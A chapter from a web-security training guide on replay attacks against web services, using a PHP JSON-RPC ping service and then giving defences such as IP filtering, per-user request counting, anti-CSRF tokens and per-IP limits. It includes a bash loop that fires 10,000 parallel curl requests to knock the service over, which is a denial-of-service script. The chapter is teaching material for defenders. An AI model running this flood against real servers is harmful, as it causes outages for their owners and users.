9.1 Introduction
Replay attacks are very difficult to prevent without some form of server-side state, which
is strongly against the stateless design principles of REST web services. However, replay
attacks may occur and are also very common on all major web service types (i.e.
XML-RPC, JSON-RPC, SOAP, BEPL and REST), not just REST. Replay attacks are
additionally a common vulnerability against web applications in general.

9.2 What the problem is


Replay attacks occur when a given, potentially valid, web service request is sent multiple
times. By definition, replay attacks will get past most data validation security controls. The
impact of this issue will depend on what the web service is used for. Generally speaking,
many replay attacks can result in denial of service conditions.

9.3 How can I see if I am vulnerable to this?


If there are no protections against replay attacks the web service is most likely vulnerable
to this problem.
IMPORTANT: Please note that we are using JSON-RPC for variety here and the
following attack can be trivially performed against all the other web service types
too.
Let us take our previous JSON-RPC web service, the one we fixed. For simplicity, let us
assume that we must allow access to all computers on the internet and that we are not
providing the SMD:

WEB SERVICES - REPLAY ATTACKS 84


P W D / P R A C T I C A L W E B D E F E N S E

<?php
require "vendor/autoload.php";//Composer sorts out the Zend Framework
dependencies for us

class Pinger {//dummy class to ping a host


/**
* Pings a $host using $num_packets and returns the command
result
*
* @param string $host
* @param int $num_packets
* @return string
*/
public function Ping($host, $num_packets) {//ping
//white-list of allowed values (preferred)
if (!in_array($host, array('127.0.0.1',
'www.google.com')) || !in_array($num_packets, array(1, 2, 3, 4))) {
return 'host or number of packets not allowed,
sorry';
}
//white-list of allowed characters (second best)
if (strlen($host) > 15 || strlen($num_packets) > 1
|| !preg_match('|^[a-z\.]+$|', $host) ||
!preg_match('|^[1-9][0-9]*$|', $num_packets)) {
return 'host or number of packets have an
invalid format, sorry';
}
return shell_exec("ping -c" .
escapeshellarg($num_packets) . " " . escapeshellarg($host));
}
}

$server = new Zend\Json\Server\Server();//Instantiates the Zend


Framework JSON-RPC server
$server->setClass('Pinger');//Maps our Pinger class to handle JSON-RPC
requests
$server->handle(); //Returns the response for each JSON-RPC request

This might initially not seem vulnerable to anything, many penetration testers with access
to source code would literally move on to review another file, however, this example is
vulnerable to replay attacks. The vulnerability can be demonstrated using the following
rudimentary shell script. Please note the “&” symbol at the end of the curl command, this
is sending many identical requests to the web service in order to cause a Denial of Service
(DoS) condition. The “&” makes sure these requests are sent in parallel without waiting
for any request to finish. This can be saved into a file called “replay_test.sh”:
WARNING: This shell script can crash your machine if you are also hosting the
web service!
Suggestion: Try a lower number of requests if you would like to try this attack.
Increase this lower number slowly to verify this attack.

WEB SERVICES - REPLAY ATTACKS 85


P W D / P R A C T I C A L W E B D E F E N S E

#!/bin/bash
for i in $(seq 1 10000); do
curl http://example.com/web_services/json_rpc/ping_server.php --
data '{"method": "Ping", "params": ["www.google.com", "4"], "id": 1}' &
done

This shell script can be run like this:

sh replay_test.sh

Running this shell script, results in 100% CPU consumption on the 2 CPUs of our test
server, this condition lasted a few minutes:

FIGURE 2 CPU consumption due to lack of protections against replay attacks

Further, around 1000 HTTP curl commands returned the following error, which illustrates
that the DoS attack succeeded:

curl: (7) couldn't connect to host

OWASP guidelines to test for this issue can be found here:


https://www.owasp.org/index.php/Testing_for_WS_Replay_(OWASP-WS-007)

WEB SERVICES - REPLAY ATTACKS 86


P W D / P R A C T I C A L W E B D E F E N S E

9.4 How can I fix this?


Replay attacks require some form of server-side state to be prevented. While server-side
state may make a RESTful application less RESTful (remember, REST is supposed to be
stateless), server-side state is just the only way to keep track of “how many times user X
has sent a request”.
The following recommendations will help to mitigate this problem.

If possible, implement IP filtering

This security measure is one of the most effective to mitigate the problem: If the attacker
cannot connect to the web service, they will not be able to attack it. This is an example of
attack surface reduction.
In many cases, web services are only meant to be available from a very limited number of
trusted hosts, when this is the case, all requests coming from untrusted IPs should be
rejected. Adding the following to the top of our example implements this:

<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}

If possible, implement authentication and track attempts by user

Implementing authentication is very important to prevent replay attacks: This allows you
to track the user that is performing the attack so that you can block them and log who it
was to decide what to do later (i.e. ban the user, disable the account, etc).
To prevent replay attacks, we are looking for the following:
1. Verify that the user is logged in
2. Verify that the user did not send more than X requests in the last Y minutes.
Where “X” and “Y” are reasonable limits: This will depend on what the web
service does.
3. Block the user after “reasonable” thresholds are exceeded

WEB SERVICES - REPLAY ATTACKS 87


P W D / P R A C T I C A L W E B D E F E N S E

The following example puts all this together:

<?php
session_start();
if (!isset($_SESSION['logged_in']) || !$_SESSION['logged_in']) {
die('Unauthorized access');//1) Verify that the user is logged in
}
//NOTE: $_SESSION['ping_count'] is loaded from the database when the
user logs in
if ($_SESSION['ping_count'] > MAX_PINGS) {
//This user is DoSing us: log this, block the user
//Log this incident in so that this will be reviewed
//Disable the user in the DB: Now the user cannot login anymore
die('Your account has been deactivated. Please contact our
helpdesk for information');
}
if ($_SESSION['last_ping_timestamp'] < TIME_THRESHOLD) {
$_SESSION['ping_count'] -= MAX_PINGS;//Decrease ping count
}
$_SESSION['ping_count'] += 1;//Increase ping count
$_SESSION['last_ping_timestamp'] = time();//Keep track of last ping
timestamp
//Update DB table with updated last_ping_timestamp and ping_count

If possible, implement anti-CSRF protections

Implementing anti-CSRF protections will make replay more difficult, although this is less
effective than counting the number of attempts per user. For example, if using anti-CSRF
tokens, the attacker can just get a valid token by scraping the previous page, and then
submit it in the replay attack, the replay attack becomes only slightly more difficult. Never
use this security control in isolation to prevent replay attacks (i.e. only use this in
combination with other security controls). Server-side state to keep track of attempts is
necessary to prevent replay attacks.

If possible, track the number of requests by IP

This is similar to the number of attempts per user, but might be useful for cases when
authentication is not possible. “The maximum number of requests for your IP today has
been reached, sorry” is a common approach to prevent abuse used by many websites that
provide services without authentication on the internet nowadays.

Put it all together

Try to combine as many of these security controls as possible to secure your web service.
Defenses will work best together.

WEB SERVICES - REPLAY ATTACKS 88


P W D / P R A C T I C A L W E B D E F E N S E

9.5 Further reading


The following resources provide more information on this topic:
• Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
https://www.owasp.org/index.php/Cross-
Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
• OWASP Web Service Security Cheat Sheet
https://www.owasp.org/index.php/Web_Service_Security_Cheat_Sheet
• OWASP REST Security Cheat Sheet
https://www.owasp.org/index.php/REST_Security_Cheat_Sheet
• OWASP Development Guide: Web Services
https://www.owasp.org/index.php/Web_Services
• Erlend Oftedal: RESTful Security
http://erlend.oftedal.no/blog/?blogid=134
• Don’t Drop the SOAP: Real World Web Service Testing
http://www.spylogic.net/wp-content/uploads/2011/08/Dont-Drop-the-
SOAP-Whitepaper.pdf
• WS-Attacks.org: Web Service Attacks explained
http://ws-attacks.org/
• Bypassing Web Authentication and Authorization with HTTP Verb Tampering
https://www.aspectsecurity.com/wp-content/plugins/download-
monitor/download.php?id=18

WEB SERVICES - REPLAY ATTACKS 89


Powered by TCPDF (www.tcpdf.org)

You might also like